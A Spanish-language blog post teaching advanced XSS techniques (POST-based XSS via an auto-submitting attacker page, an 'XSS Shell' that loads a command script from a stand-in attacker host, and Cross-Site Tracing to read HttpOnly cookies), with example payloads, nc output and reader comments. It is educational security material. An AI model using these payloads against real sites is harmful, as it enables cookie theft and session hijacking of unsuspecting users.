Rompiendo a lo grande: XSS avanzado
En el artículo anterior de XSS les comenté de qué trataba el ataque, los distintos tipos de ataque (reflejado o persistente), distintas combinaciones para escapar controles del programador, cómo usar distintos tags, formas de engañar al usuario y cómo robar cookies.

La idea es ahora comentar técnicas avanzadas de cross-site scripting, con ataques más rebuscados e interesantes.

Sin más introducción, pasemos entonces a los ataques!


XSS usando el método POST

Por si no lo recuerdan, todos los ataques explicados en el artículo anterior se basaban en el método HTTP GET, sacando el caso del XSS persistente. La razón de esto es que las variables usando el método GET van en la URL, por lo que para realizar el ataque sólo es necesario que el usuario abra un link armado por el atacante.
Para refrescar un poco la memoria, tomen en cuenta el ejemplo donde el script imprimía todo lo pasado por parámetro. Si el parámetro se envía con el método GET, el atacante sólo debería armar una URL del estilo http://www.ejemplo.com/vulnerable.php?param=<SCRIPT>alert('XSS');</SCRIPT>

Ahora piensen en el método HTTP POST. Cuando se usa POST las variables van dentro del cuerpo del mensaje HTTP. Para el que no conozca HTTP, el protocolo cuenta con dos partes, un HEADER donde van distintos parámetros (como la URL que solicitamos y los parámetros GET, el tipo de browser, el sistema operativo, el tipo del mensaje, las cookies, etc), y el CONTENIDO (donde va la página -html,img,xml,etc- en si, o los parámetros POST). El que se encarga de manejar el protocolo del lado del cliente es el browser, el cual arma los paquetes HTTP. Para un usuario es fácil manipular los parámetros GET porque van en la URL, pero no es tan simple manipular los parámetros POST.

Un pedido POST no se puede armar con los parámetros en la URL, así que necesitamos de un formulario. Pero cómo utilizamos un formulario en un ataque XSS no persistente? La respuesta es, usando una página intermedia.
Una vez que el atacante descubre una vulnerabilidad XSS en un parámetro POST de una página www.buenovulnerable.com/vulnerable.php, éste arma un formulario en una página que puede modificar (ya sea en un servidor propio o uno hackeado, pero no viene al caso) como ser www.malomalo.com/xsspost.php. Lo que hace a continuación es enviar al usuario víctima la URL de su página con algún texto que lo incite a visitarla. Cuando el usuario ingresa en www.malomalo.com/xsspost.php, ésta automáticamente envía los parámetros armados por el atacante a www.buenovulnerable.com/vulnerable.php la cual ahora contiene código de atacante (inyectado por XSS a través del método POST). Si el usuario estaba logueado, o utilizando la página www.buenovulnerable.com, el atacante podrá obtener cookies u otra información.

Vallamos al ejemplo phpeano. Por un lado tenemos la página vulnerable con el siguiente código:

Palabra buscada: <?php if(isset($_POST['search'])) print "<B>".$_POST['search']."</B>" ?>
<FORM ACTION="" METHOD="POST">
<INPUT TYPE="TXT" NAME="search" SIZE="20">
<INPUT TYPE="SUBMIT" VALUE="search">
</FORM>

Este ejemplo es igual al planteado en el artículo anterior, donde el script coloca la palabra buscada en el código php, osea, si la variable contiene HTML, el resultado será una página con el HTML incrustado por el atacante.
Dado que el ejemplo utiliza el método POST, necesitamos armar una página intermedia que haga el trabajo. La página intermedia contendrá el siguiente código:

<FORM NAME="attack" ACTION="http://www.buenovulnerable/vulnerable.php" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="search" SIZE="20" VALUE="<SCRIPT>alert('XSS');</SCRIPT>">
</FORM>
<SCRIPT>
setTimeout('attack.submit()', 1);
</SCRIPT>

Como se puede ver, esta página contiene una entrada de formulario con el mismo nombre que el input de la página anterior (el nombre search), pero a diferencia de la anterior, este input está oculto (tipo HIDDEN). Si un usuario visita la página del atacante, ésta cargará el valor <SCRIPT>alert('XSS');</SCRIPT> en la variable search y lo enviará a la página vulnerable. El envío automático lo realiza el código setTimeout('attack.submit()', 1); donde le decimos que haga un submit luego de 1 milisegundo cargada la página.
El resultado es que el usuario termina en la página vulnerable con el JavaScript incrustado, es decir, verá:

Palabra buscada: <B><SCRIPT>alert('XSS');</SCRIPT></B>
<FORM ACTION="" METHOD="POST">
<INPUT TYPE="TXT" NAME="search" SIZE="20">
<INPUT TYPE="SUBMIT" VALUE="search">
</FORM>

Esto es lo mismo que teníamos antes cuando el formulario usaba el método GET y el atacante utilizaba la URL http://www.buenovulnerable/vulnerable.php?search=<SCRIPT>alert('XSS');</SCRIPT>
De esta manera logramos un ataque sobre un formulario que utiliza el método POST en lugar de GET.

El problema de este ataque es que resulta un poco más evidente. Ahora el usuario deberá confiar en una URL externa en lugar de la URL de la página buena, pero el resultado es el mismo! Por lo general muchos usuarios visitan links de páginas dudosas, y con esta falencia sería posible realizar ataques interesantes.


XSS Shell

Luego de haber explorado algunas facetas del XSS nos metemos con los ataques más interesantes. Si todavía no se convencieron de lo peligroso que puede ser el XSS, luego de leer sobre el siguiente ataque lo van a hacer.

XSS Shell (tal vez conocido de otras formas) es un ataque donde el atacante puede manipular el browser de la víctima a través de un set de comandos, durante el tiempo que la víctima mantenga abierta la página afectada.
En un ataque simple, el usuario ejecuta un script malicioso que roba una cookie, manipula la página o alguna otra cosa y termina (una sola oportunidad de ataque). Pero con XSS Shell se utiliza un script que mantiene una conexión con un servidor maligno y responde a comandos enviados por éste. El atacante interactúa con el servidor maligno enviando comandos y recibiendo los resultados. En resumen, existe una conexión entre el servidor y la víctima por la cual un atacante puede enviar los comandos que desee, pudiendo realizar diferentes acciones con un sólo ataque XSS.

Programar el Shell no es tan trivial como en los ejemplos anteriores, así que sólo explicaré una posible forma de implementarlo en lugar de colocar el código en si.
Como se darán cuenta a partir de lo que expliqué arriba, este ataque cuenta con 3 piezas. Por un lado tenemos el servidor maligno, el cual se encarga del contacto con la víctima y de ser el front-end del atacante. Las otras dos partes son el programa que se ejecuta en la máquina de la víctima y el front-end del atacante. Esto se puede observar el la figura de abajo.


El código inyectado en la página primero se conecta al servidor malicioso para descargar el script encargado de recibir comandos y enviar resultados. Este código podría ser algo como el siguiente:
<script language='Javascript' src="http://www.malomalo.com/hack/command.js.php'></script>

El script descargado chequea cada cierto tiempo el servidor en busca de comandos a ejecutar, y si el comando genera algún resultado, el script lo devuelve al servidor. Para hacer este checkeo a intervalos podemos usar AJAX en conjunto con la función JavaScript setInterval (https://developer.mozilla.org/en/DOM/window.setInterval), la cual toma como parámetros una función a ejecutar y el intervalo de tiempo en milisegundos (opcionalmente se pueden pasar parámetros a la función a ejecutar).

Hasta acá ya tenemos el funcionamiento de la víctima, esto es, buscar comandos cada cierto tiempo, ejecutarlos, y enviar resultados cuando sea necesario.
Ahora pasemos al servidor malicioso. El servidor es el encargado de servir el script que ejecuta la víctima, a su vez se encarga de encolar comandos enviados por el atacante y enviarlos a la víctima cuando los solicite (recuerden que la conexión la inicia la víctima, así que el servidor espera a que la víctima pida los comandos). Además el servidor acumula los resultados enviados por las diferentes víctimas (zombies). Un servidor bien hecho puede administrar varios zombies a la vez, así que debe mantener colas separadas de comandos para cada zombie.
Por otro lado, debe encargarse de presentar un front-end para el atacante, el cual podrá seleccionar diferentes comandos y diferentes zombies para que los ejecuten. El atacante también será capaz de obtener datos de los zombies, como cookies, credenciales, etc.

Como se pueden ir imaginando, a través de un XSS Shell se puede tener muchísima funcionalidad y hacer cosas extremadamente graves. Sólo para citar algunos ejemplos de lo que podríamos hacer utilizando este ataque, les dejo la siguiente lista:
- Robo de cookies
- Obtener página actual
- Ejecutar JavaScript arbitrario
- Obtener los movimientos del mouse
- Obtener las teclas presionadas (keylogger)
- Crashear el browser
- Acceso a páginas a través de la víctima (proxy/tunneling)
- Obtener historial de páginas visitadas (usando técnicas como la descripta en mi anterior artículo: Robando información del historial (sin usar JavaScript!))
- Escaneo distribuido de puertos
- Bindshell IPC (enviar comandos a otra máquina en la LAN de la máquina zombie)
- Otros.........

La mayoría de los ataques se pueden realizar como consecuencia del XSS, pero tener un XSS Shell nos permite realizar tantos ataques como deseemos, mientras dure la conexión.

Existen herramientas muy interesantes para probar estos problemas y ver como funcionan:
- BeEF browser exploitation framework - para mi el más completo.
- XSS-Proxy
- XSS Shell


Cross-Site Tracing (XST)

Esta ataque utiliza el XSS en conjunto con el método HTTP TRACE para obtener datos que a través del XSS solo no se podrían obtener.
Comencemos describiendo un poco el método HTTP TRACE. Este método se utiliza/ba para debugging de los servidores Web y viene activado por defecto en muchos servers. Lo único que hace es repetir toda información enviada por el cliente al server, es algo así como un echo. Un ejemplo del método Trace sería como sigue:
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:07:16 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 50

TRACE / HTTP/1.1
Host: prueba
User-Agent: prueba

Como se observa, el servidor responde exactamente lo mismo que le enviamos en el pedido. La parte útil para el ataque, es que si armamos un pedido HTTP TRACE desde el browser a una página en la cual se utilizan cookies, el servidor nos responderá copiando las cookies de regreso. Por ejemplo, podríamos obtener el siguiente comportamiento:
$ nc 192.168.1.1 80 -vvv
TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 07 Dec 2009 17:15:26 GMT
X-Powered-By: ASP.NET
Content-Type: message/http
Content-Length: 73

TRACE / HTTP/1.1
Host: prueba
Cookie: SID=13klj12jhlkjhdf09kasdn

Ustedes dirán, si podemos obtener la cookie enviada por el browser a través de XSS, para qué necesitamos el método TRACE? bueno resulta ser que hay casos en los que no es posible obtener las cookies utilizando JavaScript (u otro lenguaje script ejecutado en el browser).
En browsers como IE6 SP1 y posteriores o Firefox 2.0.0.5 y posteriores, existe una opción de seguridad llamada HttpOnly cookies. Cuando un servidor web envía el parámetro HttpOnly dentro de las cookies, el browser no debería permitir que las cookies sean accesibles utilizando scripts como JavaScript. Esto es, si la opción HttpOnly está activada, una llamada a document.cookie nos devolverá vacío, aún cuando existan cookies. Utilizando esta propiedad se previene el robo de cookies explotando vulnerabilidades XSS, lo cual es muy bueno.
Aca es donde entra en juego el XST. A través de XST se pueden obtener cookies aún cuando está activada la característica HttpOnly. Si armamos un pedido HTTP TRACE desde el browser, éste incorporará la cookie como parte del header (la cual todavía no podemos acceder). Ahora, cuando el servidor responda al pedido TRACE, éste incluirá la cookie como parte de la respuesta... bingo! ahora tenemos la cookie que tanto deseabamos.

Cómo es posible armar un pedido HTTP TRACE utilizando JavaScript? distintos browsers tienen distintos métodos. Para ejemplificar, les dejo los métodos usados por los dos browsers más conocidos, IE y Firefox.
Una forma de realizar este trabajo en Internet Explorer es utilizando el control ActiveX XMLHTTP. Un ejemplo de cómo utilizar esto para obtener cookies es el siguiente (tomado del paper CROSS-SITE TRACING (XST) de Jeremiah Grossman):

<script type="text/javascript">
<!--
function sendTrace () {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "http://foo.bar",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

En firefox la función a utilizar es muy similar:

<script type="text/javascript">
<!--
function sendTrace()
{
xhttp=new XMLHttpRequest();
xhttp.open("TRACE", "http://foo.bar",false);
xhttp.send();
xmlDoc=xhttp.responseXML;
alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">

El uso de estas funciones tienen una restricción: no permiten al browser conectarse a otro dominio que no sea el de la página que está mostrando. Pero esto igualmente no es problema para realizar el ataque.


Pensamientos Finales

Como habrán podido observar, el XSS es una vulnerabilidad extremadamente riesgosa cuando es explotada por gente que sabe (o que buscó un poco en internet). Espero con este par de artículos haber demostrado el peligro, lo poderosos que pueden ser los ataques, que el XSS no es simplemente un alert('XSS'); De este ataque no se salvó ni google, el cual tuvo que reparar sus sites en más de una ocación.
La sencillez del ataque hace que a simple vista parezca inofensivo y resulta poco respetado, pero no se dejen engañar por las apariencias.

En muchos casos el ataque necesita del factor "usuario desprevenido", pero todos sabemos lo fácil que es aprovechar esta clase de usuarios y que seguramente más de una vez nos ha tocado serlo.
Ahora gracias a twitter se utilizan mucho las tinyURL, las cuales ocultan la verdad detras del link a visitar, algo que impone un riesgo extra. Además, como vimos en el artículo Ocultando URLs con JavaScript, es muy fácil ocultar el verdadero destino de un link.
Por otro lado, el uso de iframes ocultos en la página hace posible que visitemos páginas sin darnos cuenta! Tal vez estemos visitando una página que es perfectamente legal a simple vista, pero que en sus entrañas tenga un iframe que hace a nuestro browser enviar pedidos a una página vulnerable a XSS y así robar cookies.
Formas de hacer que nuestro ataque funcione existen muchas, tal vez para hacer otro artículo, así que por ahora lo dejo aca.


Todavía no termina

Exactamente lo que dice el título, todavía no estoy dispuesto a abandonar el XSS, porque todavía tengo varias cosas interesantes para contar. Por un lado quiero mostrar formas de prevenir el XSS desde la programación, a su vez quiero citar algunas herramientas comerciales y libres que se pueden utilizar para testear esta vulnerabilidad. Por si fuera poco, en un artículo más estaré explicando ataques relacionados al XSS pero que no entran en la definición concreta de este, como ser el Cross-Site Request Forgery (CSRF) o el Cross-zone Scripting...
Si da el tiempo y todavía no se pudrieron del XSS, también me gustaría hablar de un paper sobre cómo evadir controles CSRF usando XSS.
Si leen o conocen de algún otro ataque XSS que no halla citado, haganmelo saber y hablo sobre él en algún artículo adicional.
Hay letra para rato, así que como suelo decir, stay tuned.


Referencias

- Advanced Cross Site Scripting (Gavin Zuchlinski)
- XSS Tunnelling - Tunnelling HTTP traffic through XSS Channels (Ferruh Mavituna)
- Advanced Cross-Site-Scripting with Real-time Remote Attacker Control (Anton Rager)
- CROSS-SITE TRACING (XST) (Jeremiah Grossman)

5 comentarios:

Nacho dijo...

Nuevamente muy interesante el artículo. Muy didactivo sobre todo.

Desconocia varios de los temas que nombraste, así que me vino muy bien leer este artículo.

¿XSS Shell podría caer en la categoría de Botnet?

Saludos

Nacho dijo...

Dejo un caso real de un rumano que aprovecho un bug en el sitio del pentagono para usar técnicas de XSS para atacar el sitio.
http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml?articleID=222001155

Saludos

d3m4s1@d0v1v0 dijo...

Hola Nacho, gracias por el enlace! está lleno de casos de páginas "importantes" con estos errores, es bueno demostrar que hasta en el pentágono lo sufren jejeje

No se si XSS Shell entraría en la categoría de botnet, osea, por el funcionamiento si, pero el problema es el límite de tiempo durante el cual podes usar un zombie.

MagnoBalt dijo...

Genial ahora mas lo leere cuando tenga tiempo. Gracias...

Anónimo dijo...

agregame a facebook, f3nix_h4ck3r

Publicar un comentario